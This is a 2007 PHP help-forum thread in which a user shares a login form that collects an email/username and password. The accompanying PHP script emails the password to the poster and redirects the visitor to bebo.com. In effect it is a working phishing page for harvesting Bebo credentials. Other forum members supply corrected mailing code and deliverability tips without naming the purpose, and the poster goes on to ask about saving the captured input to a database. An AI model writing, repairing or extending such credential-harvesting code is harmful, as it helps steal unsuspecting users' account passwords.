Aitken91 Posted August 2, 2007 Share Posted August 2, 2007 Hi, I'm making a website that has a form. When the user clicks the submit button i need it to email me the data. Currently everything works, except i am not getting the emails. The web page code is: <form method="post" action="sendmail.php"> <p align="right">Email / Username: <input name="email" type="text" /> Password: <input name="message" type="password" /> <input name="submit" type="submit" value="Log In" /> </p> </form> And the php (sendmail.php) scrips code is: <? $email = $_REQUEST['email'] ; $message = $_REQUEST['message'] ; mail( "[email protected]", "Accounts", $message, "From: $email" ); header( "Location: http://www.bebo.com" ); ?> I know little PHP, and would be grateful for any help. Aitken91 Link to comment https://forums.phpfreaks.com/topic/63061-email-form-data/ Share on other sites More sharing options...
Aitken91 Posted August 2, 2007 Author Share Posted August 2, 2007 Hi, The HTML part works and i have got the "header( "Location: http://www.bebo.com" );" working. But i still have not got it to email my address. Please help, Aitken91 Link to comment https://forums.phpfreaks.com/topic/63061-email-form-data/#findComment-314225 Share on other sites More sharing options...
simcoweb Posted August 2, 2007 Share Posted August 2, 2007 Try doing it this way: <? $to = "[email protected]"; $subject = "Accounts"; $email = $_REQUEST['email'] ; $message = $_REQUEST['message'] ; mail( $to, $subject, $message, "From: $email" ); header( "Location: http://www.bebo.com" ); ?> Link to comment https://forums.phpfreaks.com/topic/63061-email-form-data/#findComment-314312 Share on other sites More sharing options...
Aitken91 Posted August 2, 2007 Author Share Posted August 2, 2007 Ok. Thanks, I will go and try it just now. Thanks again, Aitken91 Link to comment https://forums.phpfreaks.com/topic/63061-email-form-data/#findComment-314318 Share on other sites More sharing options...
premiso Posted August 2, 2007 Share Posted August 2, 2007 Yahoo tends to filter mail from servers as junk, especially if no mail headers are passed. Check the junk email folder and look at www.php.net/mail the mail function to figure out a set of headers that will work for you. Link to comment https://forums.phpfreaks.com/topic/63061-email-form-data/#findComment-314329 Share on other sites More sharing options...
Aitken91 Posted August 2, 2007 Author Share Posted August 2, 2007 Hello. Thanks. I've seen other posts on here and was wondering, is it possible to write the users input into a database. If its possible how would i do it. Thanks, Aitken91 Link to comment https://forums.phpfreaks.com/topic/63061-email-form-data/#findComment-314339 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.